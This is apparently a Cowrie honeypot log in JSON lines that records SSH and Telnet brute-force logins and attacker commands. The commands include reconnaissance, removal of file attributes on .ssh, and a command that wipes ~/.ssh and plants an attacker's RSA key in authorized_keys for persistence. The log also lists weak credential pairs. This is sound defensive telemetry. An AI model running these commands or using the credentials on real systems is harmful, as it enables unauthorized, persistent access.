.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:50.246500Z","src_ip":"74.91.200.154","session":"acc47f347d1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test9","password":"test","message":"login attempt [test9/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:51.152900Z","src_ip":"74.91.200.154","session":"acc47f347d1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":58934,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dea13b25f60","protocol":"ssh","message":"New connection: 74.91.224.229:58934 (10.17.0.5:22) [session: 3dea13b25f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.276567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.283691Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.374488Z","src_ip":"74.91.200.154","session":"acc47f347d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.522006Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51680,"dst_ip":"159.203.135.109","dst_port":22,"session":"04f990f10c4d","protocol":"ssh","message":"New connection: 159.203.92.129:51680 (159.203.135.109:22) [session: 04f990f10c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.630527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.635337Z","src_ip":"159.203.92.129","session":"04f990f10c4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.639792Z","src_ip":"159.203.92.129","session":"04f990f10c4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2021","message":"login attempt [admin/admin@2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.651359Z","src_ip":"159.203.92.129","session":"04f990f10c4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.705181Z","src_ip":"159.203.92.129","session":"04f990f10c4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.708929Z","src_ip":"159.203.92.129","session":"04f990f10c4d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.713228Z","src_ip":"159.203.92.129","session":"04f990f10c4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.726823Z","src_ip":"159.203.92.129","session":"04f990f10c4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:52.733553Z","src_ip":"159.203.92.129","session":"04f990f10c4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"Password1","message":"login attempt [steam/Password1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:53.509681Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:54.045264Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:54.048749Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:54.051734Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:54.294135Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:54.953165Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:54.956487Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:55.200001Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:55.204083Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":58950,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb8fcd6c43e4","protocol":"ssh","message":"New connection: 74.91.224.229:58950 (10.17.0.5:22) [session: cb8fcd6c43e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:55.435041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:55.439130Z","src_ip":"74.91.224.229","session":"cb8fcd6c43e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:55.680731Z","src_ip":"74.91.224.229","session":"cb8fcd6c43e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:56.671301Z","src_ip":"74.91.224.229","session":"cb8fcd6c43e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:57.914228Z","src_ip":"74.91.224.229","session":"cb8fcd6c43e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":58962,"dst_ip":"10.17.0.5","dst_port":22,"session":"744f3ffafec1","protocol":"ssh","message":"New connection: 74.91.224.229:58962 (10.17.0.5:22) [session: 744f3ffafec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:58.149122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:58.153878Z","src_ip":"74.91.224.229","session":"744f3ffafec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:58.395529Z","src_ip":"74.91.224.229","session":"744f3ffafec1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:59.381915Z","src_ip":"74.91.224.229","session":"744f3ffafec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:59.623784Z","src_ip":"74.91.224.229","session":"3dea13b25f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:59.627130Z","src_ip":"74.91.224.229","session":"744f3ffafec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.574012756347656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:13.769631Z","src_ip":"138.252.125.29","session":"05d2388c4b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.42.161","src_port":48280,"dst_ip":"159.203.135.109","dst_port":23,"session":"662ecee5fe13","protocol":"telnet","message":"New connection: 172.104.42.161:48280 (159.203.135.109:23) [session: 662ecee5fe13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:19.648864Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.123.205.66","src_port":47788,"dst_ip":"159.203.135.109","dst_port":23,"session":"06fb6539d36e","protocol":"telnet","message":"New connection: 38.123.205.66:47788 (159.203.135.109:23) [session: 06fb6539d36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:27.181182Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.169.23.13","src_port":55370,"dst_ip":"159.203.135.109","dst_port":23,"session":"16123f5b1c3f","protocol":"telnet","message":"New connection: 109.169.23.13:55370 (159.203.135.109:23) [session: 16123f5b1c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:27.853376Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.53.192.5","src_port":32783,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e7a531fff11","protocol":"telnet","message":"New connection: 103.53.192.5:32783 (159.203.135.109:23) [session: 6e7a531fff11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:34.093358Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53128,"dst_ip":"159.203.135.109","dst_port":22,"session":"057657e17f15","protocol":"ssh","message":"New connection: 159.203.92.129:53128 (159.203.135.109:22) [session: 057657e17f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:35.215956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:35.221560Z","src_ip":"159.203.92.129","session":"057657e17f15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:35.229876Z","src_ip":"159.203.92.129","session":"057657e17f15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2022","message":"login attempt [admin/admin@2022] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:35.258100Z","src_ip":"159.203.92.129","session":"057657e17f15","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:35.311491Z","src_ip":"159.203.92.129","session":"057657e17f15","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:35.315387Z","src_ip":"159.203.92.129","session":"057657e17f15","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:35.320387Z","src_ip":"159.203.92.129","session":"057657e17f15","protocol":"ssh"}
